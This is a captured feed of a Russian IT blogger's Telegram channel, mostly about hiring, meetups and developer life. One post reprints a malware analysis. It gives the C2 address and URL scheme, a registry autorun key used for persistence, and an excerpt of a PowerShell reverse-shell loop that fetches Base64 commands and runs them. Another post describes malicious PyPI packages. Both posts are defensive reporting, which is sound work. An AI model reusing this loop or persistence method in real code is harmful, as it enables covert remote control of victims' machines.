TGViewer
Channel Public Channel
Сибирский Dev | IT survival

Сибирский Dev | IT survival

@sibdevjun

Выживач в IT. Мои мысли по найму и работе в мире разработки.

Для связи @masian4eg
Subscribers
643
Photos
402
Videos
23
Links
124

Showing posts older than #294 · Back to latest

Older Posts 19 shown
Post #293 507
🦾 Бэкендер VS Фронтендер

У Контура отличный канал и контент на ютубе 👍 Особенно ток-шоу "Согласен / Не согласен", где встречаются люди с разной полярностью и выясняют кто прав (джун и сеньор, IOS и андроид разрабы, программист и HR и т.д.)

https://www.youtube.com/watch?v=s1UWyo6hoig
YouTube Бэкендер vs Фронтендер 2.0: Кто больше страдает | Согласен — не согласен В формате «Согласен — не согласен» два представителя из Контура разбирают спорные тезисы, которые связаны с их профессиями. В этом выпуске бэкендер Саша Логинов и фронтендер Вова Толстиков обсуждают взаимодействие своих ролей и стереотипы, которые с этим…
  • 🔥 4
  • ❤ 1
  • 🦄 1
Post #292 560
📢 hh учит и набирает джунов

Как обычно - не реклама, а полезная ссылка для тех кто еще в поиске первого оффера.

хх.ру сейчас проводит набор в онлайн школу программирования (4 месяца теории и 3 месяца практики) с последующим оффером для лучших к себе в компанию.

📌 Направления:
✅ фронтенд (CSS и вёрстка, JavaScript, React и Redux, Дизайн, Тестирование JavaScript)
✅ бэкенд (Java Virtual Machine, Java collections + NIO, Java concurrency, Java фреймворки, Hibernate + JDBC, IOC (Spring), Networking SQL, Архитектура поисковых сервисов, Базы данных и SQL, Архитектура и фичи PostgreSQL, Основы Python, Асинхронность и корутины)

Кто может попасть на обучение? ВСЕ кто хочет)
school.hh.ru hh team — все пути в айти ведут через hh.ru Бесплатные школы hh.ru: программисты и аналитики. Выберите направление и подайте заявку на отбор.
  • 🔥 4
  • ❤ 1
  • 👍 1
Post #291 637
☀️ Как я провел лето

Неделю назад посетил очередной митап-конфу от Совкомбанка и меня вдруг накрыла мысль, что IT мероприятия стали похожи на корпораты компаний, причем не дешевые. За лето я посетил 2-3 таких.

Расскажу для тех, кто там не был кратко программу всех подобных мероприятий и вы поймете почему:
🟢 3-6 часов докладов с перерывами на кофе-брейки, завтраки, обеды, ужины
🟢 все это время происходят разного рода активностей от конкурсов с подарками до разных аттракционов типа настольных игр, тиров, аэрохоккеев, настольных футболов и куча чего еще
🟢 после докладов - афтерпати с алкоголем и всякими разными закусками
🟢 концерт/шоу

Грех жаловаться скажете вы, компании из кожи вон лезут, чтобы заработать лояльность к кандидатам дорогих айтишечек. КМК это уже какой-то перебор, как будто подношения богам каждый раз и все пытаются максимально интереснее и богаче неофициальную часть сделать, напоить, накормить, развеселить. И часто как раз официальная часть с докладами хромает - рассказывают иногда очевидные вещи или поверхностно проскакивают по теме, лишь бы было.

С каких пор информация стала менее интересна, чем развлечения? Или я что-то упускаю? 😮

На видео танцует медведь, которого на митапе назвали "пятничный деплой" 😏
  • 😁 6
  • 🤔 4
  • 👍 1
  • 💯 1
  • 🦄 1
Post #290 587
👀 Вдруг тут мой будущий коллега
Post #289 659
Post #288 631
🥸 Перехожу на аналоговое

В последнее время мое зрение, до недавнего оцениваемое как 200%, дало сбой 😭

Далеко вижу все так же отлично, а вблизи из-за частого чтения в мониторе стало все плыть и от напряжения зрения болеть голова.

Офтальмолог сделал заключение - компьютерный синдром и синдром сухого глаза (Компьютерный синдром - напряженное состояние зрительной системы, вызванное длительной работой за компьютером на близком, фиксированном расстоянии, приводящее к зрительному утомлению, развитию привычного напряжения аккомодации, спазма аккомодации. В дальнейшем чего значительно снижается работоспособность, появляются головные боли, раздражительность, снижение остроты зрения.)

Очки не назначили, пока только ограничение вне рабочего времени от экранов (даже телефонов😭), упражнения для глаз и капли. А дальше, если не не поможет - очки для чтения.

Не успел много скачанных книг прочитать. Теперь только бумага 🧘
  • 👍 3
  • 😱 2
  • 🫡 1
Post #286 571
🆒 !!р^д**н**c

#кибербез #новости

Характерным примером того, как злоумышленники используют актуальные события для распространения вредоносных программ, может послужить обнаруженный нами вредоносный документ.

Он содержит текст муниципального правового акта, который не отображается корректно, в связи с чем пользователя побуждают «Включить содержимое» и разрешить таким образом выполнение встроенного в документ макроса.

Встроенный макрос приводит документ к читаемому виду путем простой замены комбинаций символов на буквы (;; → у ; ** → o ; ?? → a и т. д.), а также извлекает и закрепляет в автозагрузке полезную нагрузку — достаточно простой реверс-шелл — в виде PowerShell-скрипта.

Полезная нагрузка находится в содержимом документа после строки DigitalRSASignature и состоит из двух частей, закодированных в Base64 и разделенных строкой CHECKSUM — <part1>CHECKSUM<part2>, которые декодируются и записываются в файлы:

• <part1> -> %USERPROFILE%\\UserCache.ini.hta
• <part2> -> %USERPROFILE%\\UserCache.ini

UserCache.ini.hta прописывается макросом в автозапуск Windows Explorer через ключ реестра HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LOAD. Назначение данного файла — запустить исполнение файла UserCache.ini.

UserCache.ini представляет собой легковесный реверс-шелл, который использует узел 94.103.85.47 (Vdsina, Moscow) как управляющий сервер. Данный инструмент получает и выполняет набор команд с http://94.103.85.47:80/api/texts/<client_id>, где <client_id> = <имя компьютера>_<имя пользователя>_<серийник тома жесткого диска>.

Команды передаются в формате XML и содержат несколько атрибутов:

• CountRuns — сколько раз нужно выполнить команду;
• Interval — интервал ожидания в минутах между последовательными выполнениями одной команды;
• Module — закодированная в Base64 команда.

...
try {
$Commands = [xml]$Configs;
$cycle_num = 0;

while($true){
$num_commands_completely_executed = 0;
$num_commands_executed = 0;
foreach ($CommandConfig in $Commands.Configs.Config)
{
$num_commands_executed += 1;
$quot = [int][Math]::Floor( $cycle_num / [int]$CommandConfig.Interval);
$rem = [int][Math]::Floor( $cycle_num % [int]$CommandConfig.Interval);

if($quot -lt [int]$Command.CountRuns -and $rem -eq 0){
$command_expr = FromBase64 $CommandConfig.Module;
try{
Invoke-Expression($command_expr);
}
catch {}
}

if(([int]$CommandConfig.Interval * [int]$CommandConfig.CountRuns) -lt [int]$cycle_num){
$num_commands_completely_executed += 1;
}
}

Start-Sleep 60;
if([int]$num_commands_completely_executed -eq [int]$num_commands_executed){
break;
}
$cycle_num += 1;
}
}
catch {}
...


Для блокировки автоматического выполнения макросов можно воспользоваться руководством от Microsoft.
  • 👍 4
  • 🤔 3
  • 😱 3
  • 🦄 2
  • ⚡ 1
Post #285 608
😲 С первым коммитом меня на .net8
  • 🫡 5
  • 🔥 4
  • 👍 2
  • 🦄 1
Post #284 693
📦 Подарочек прислали с МСК офиса за активное участие во внутреннем онлайн митапе по питону 😍

Upd распаковка в комментариях
  • 🔥 7
  • 👍 1
  • 🦄 1
Post #283 604
⚠️ Вступил в Сетку

Кто не знает, то hh запустил недавно свою соцсеть Сетка и позиционирует ее как аналог LinkedIn.

Сетка ориентируется на людей из IT, digital и creative сферы. Аккаунт соединяется с вашим резюме и остальные могут увидеть где работаете и кем хотите стать)

Для чего я туда пошел:
- мне нравится писать и там я хочу развивать тоже блог, но немного с другим контентом, а именно про опыт и проекты
- там более целевая аудитория и можно точно предметно поговорить с людьми из айти
- можно подписаться на каналы или найти людей в сетках по роду деятельности или по компании (что кстати поможет легко найти сразу эйчара или лида компании и связаться с ним, если ищешь работу 😎)
- читать других 💡

Вот мой профиль, если кто захочет, может подписаться и там
https://setka.ru/accounts/25200
  • 🔥 4
  • 🐳 4
  • ❤ 2
  • 👌 2
Post #282 728
🟥 Positive Hack Media

У нас в компании запустили данный проект, где ведущий общается с представителями сферы IT и узнает о их точках зрения о современном цифровом мире, как они его видят и как влияют на него.

Первый гость Владимир Кочетков — математик, инженер, программист и руководитель экспертизы безопасности приложений в Positive Technologies.

Я лично не любитель подобных "шоу" с интервью, так как мне это скучно слушать чье-то личное мнение и тут подошел скептически. В общем не буду спойлерить, но просмотр я закончил со скринами и ссылками в "Избранном" телеги, так как некоторые вещи просто очень полезны и интересны.

Краткий таймлайн:
🟢 почему Владимир не любит Counter-Strike и какой баг в Quake стал новой механикой для геймеров
🟢 почему все математики социофобы
🟢 про Алана Тьюринга, взлом «Энигмы», хакеров и логотип Apple
🟢 почему сейчас в искусственном интеллекте больше маркетинга, чем интеллекта
🟢 возможно ли оцифровать личность (➡️это кстати вопрос, который меня волнует уже очень давно)
🟢 мы живем в матрице?
🟢 лайфхаки, как держать мозг в тонусе
🟢 книги, которые способны вывести сознание на новый уровень (➡️взял себе)
YouTube Вся правда о гениях и нейросетях от математика Кто был первым хакером? Есть ли задачи, которые никогда не решит компьютер? Появится ли у искусственного интеллекта сознание? И что общего у нейросетей и ядерной бомбы? Перед вами — первый выпуск шоу «Думай как» от Positive Hack Media. Здесь мы общаемся…
  • 🔥 4
  • 🦄 2
  • ❤ 1
  • 👍 1
Post #281 588
⭐️ 2 года...

... коммерческого опыта 💪

29 июля 2022 года я первый раз вошел в айти)
Определенно все нравится и считаю нахожусь на своем месте ❤️

Деаноню себя для попищиков 😅
  • 🔥 28
  • ❤ 3
  • 🎉 1
Post #280 619
👺 Айтишники беднеют, мой господин

Средняя зарплата IT-специалистов снизилась на 15–25% в первом полугодии 2024 года — до 150 тысяч рублей. Винят во всем уход западных компаний, из-за чего айтишники вынуждены соглашаться на менее оплачиваемую работу.

Также винят саму отрасль, которая пытается снижать зарплатный фонд за счет работников без опыта.


Похоже на утку 😏 Кто тут без опыта, стали вам офферы присылать активнее? 🤔

PS рука у разраба на картинке натренированная код писать 😆
  • 🤯 2
  • 🌚 2
  • 😢 1
Post #279 579
🚬 Распространение закладок

Не знаю знаете вы или нет, но помимо классических вредоносных программ существуют еще и закладки в репозитории Python Package Index (PyPI). Это откуда вы при выполнении команды pip install устанавливаете себе в проект библиотеки 🍔

Что за закладки? 🤔
Злоумышленники добавляют как свои репозитории, так и коммитят в опенсорс репы, например, клипперы (трояны, ворующие данные из буфера обмена — clipboard) или стилеры (обходят диски в поисках файлов .env, добывают ключи SSH из стандартных путей и отправляют все добро на сервер злоумышленника с помощью утилиты curl).

Вот несколько проектов, которые нашел PT PyAnalysis только за последние дни:
- Кампания с Android-стилером, содержащим арабские комментарии. Он отправляет файлы через телеграм-бот, токен которого вшит в коде. Пакеты имеют название как у популярных библиотек, но с одной ошибкой: raquest, ebell.
- Серия клипперов, косящих под проверки лицензии. Закрепляются на устройствах под управлением Windows, добавляя запись автозагрузки в реестр. Слушают буфер обмена каждую секунду, в случае изменений отправляют данные в дискорд-канал. Пакеты имеют названия вида testjsonn1, testjson2, gentorqkkh.
- Стилер, обходящий диски в поисках файлов .env, добывающий ключи SSH из стандартных путей и отправляющий все добро на сервер злоумышленника с помощью утилиты curl. Имеет логику, зависящую от целевой платформы: отдельную — для Windows, отдельную — для Linux и MacOS. Пакет: popeye-pip-v3. Имя разработчика говорит само за себя: shyam_the_hacker.

Python Package Index уведомили, пакеты выпилены 😎

Несмотря на то, что названия этих пакетов выглядят незамысловато и вряд ли вы опечатаетесь, написав raquest вместо requests, такие пакеты могут попасть к вам через транзитивные зависимости.

👨‍💻 Решения для коммерческой разработки:
Построение внутреннего защищенного зеркала — сложный, но жизненно важный элемент для обеспечения современной безопасной разработки.
🛁 Решение для домашнего использования:
Выдерживать карантин - хотя бы 2-4 недели после выпуска очередной версии библиотеки. Хотя бы поверхностно пробегать по коду новой зависимости. Иногда бывает, что вредоносного кода нет, но есть комментарии с разными политическими и не очень лозунгами 🙄

Поставьте 🦄, если такое интересно читать тут
  • 🦄 14
  • 🤔 2
  • ⚡ 1
Post #278 494
Не смотри в телефон

Сосредоточенная работа — это состояние, при котором задействована большая часть умственных способностей и которое обычно приносит уникальный ценный результат. Таких результатов нельзя добиться, если вас отвлекают.


Оказывается, если во время работы или учебы (в нашем случае написании кода) часто отвлекаться на созвоны, переписку по другим вопросам, а особенно на "потупить" в телефон, то время решения основной задачи вырастет примерно на треть и больше 😫

Выходя из состояния deep work и возвращаясь обратно в работу наш мозг пытается вкатиться заново примерно 20 минут 🧠

Часто это бывает, если попадается какой-то сложный момент и мы бросаем работу, чтобы полистать тележку и тиктоки, так сказать расслабиться... Но попробуйте не терять максимально рабочее состояние и продолжить выполнение задачи. Так вы научитесь не тратить время на переключение мыслей с работы на развлечение и обратно, а так же быстрее будете находить решение рабочих проблем. Зато когда работа будет окончена, то уже можно будет полностью расслабиться и вознаградить себя мемчиками 🤔
  • 👍 10
  • 🤯 1
Post #277 605
🤢 Как вы достали

По нескольким каналам ходит новость:
Зарплаты курьеров-мигрантов сравнялись с зарплатами айти-специалистов

И?

Сразу хочу предупредить, что это не навязывание мнения, что круче IT ничего нет. Это скорее про любое направление, которое вам нравится


Ну во-первых, если вам не важно где и кем работать, то почему нет - учиться не надо, гоняйте весь день и как сказал один таксист "не деградирую перед монитором" 😄

Во-вторых, кажется я не рассказывал этого. Моя первая работа была выбрана по такому же принципу - минимум знаний и максимум зарплата. Это я про продажи, в 00х годах это был аналогичный, самый простой способ начать человеку после ВУЗа зарабатывать выше среднего.
Ну и что по итогу: да есть куда расти, но работа выбрана не "по любви", поэтому почти сразу начинает бесить, а слезть с нее тяжело имея опыт уже тут и не имея знаний и опыта в том, что хочешь.

В-третьих, если уж реально главное уровень зарплаты, то и стоит понимать, что для курьера есть предел, потому как сколько ты часов в день и дней набегал, столько и получил. Но в труде интеллектом твоя оплата растет с увеличением опыта и знаний. Вряд ли курьер с опытом будет более востребован.

В-четвертых, курьеры и, в моем случае, продажники это персонал, который всегда подвержен текучке кадров. Куча штрафов, а если не нравится, то тебя никто не держит, найти нового человека (опыт никакой не нужен) легко. В IT это так не работает - нужно время на онбординг, а хорошего миддла и выше днем с огнем не найти 😮
  • 👍 12
  • 🤔 3
  • 🦄 2
  • 👎 1
Post #276 635
📎 Наша IDE

СберТех выкатил свою среду разработки, ссылку давать не буду, так как не не реклама)

Основана на базе JB + плагины

Впору закричать "ГОООЛ!" 😆
  • 👍 5
  • 🤣 2
  • 🔥 1
Post #275 644
📌 Шпаргалка

У нас в офисной кухне есть вот такой плакат. И мне кажется он полезен и для уже работающих разрабов, так и для только учащихся. Иногда полезно вспомнить основы👍
  • 🔥 13
  • 👍 6
  • ⚡ 1
  • 🦄 1
Post #273 737
☄️ VK в Новосибирске

В честь недавнего открытия офиса здесь ВК решили закатить вечеринку с докладами и афтерпати 😋

HR и докладчики активно приглашали на работу к себе, можно было сразу пообщаться и узнать о работе в компании за бокалом коктейлей 👍

Кстати, из тех редких собеседований на которые сейчас меня бывают зовут - у ВК они самые обьективне, я считаю. Так как не напрягают решением алгоритмов как студента, а идет диалог с разработчиками, чтобы понять кто ты есть и что можешь🤔

Ну и конечно же на афтерпати много общения и знакомств)
  • 🔥 6
  • 👍 2
  • 🦄 2
  • ❤ 1
  • 🍾 1
Older posts →
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →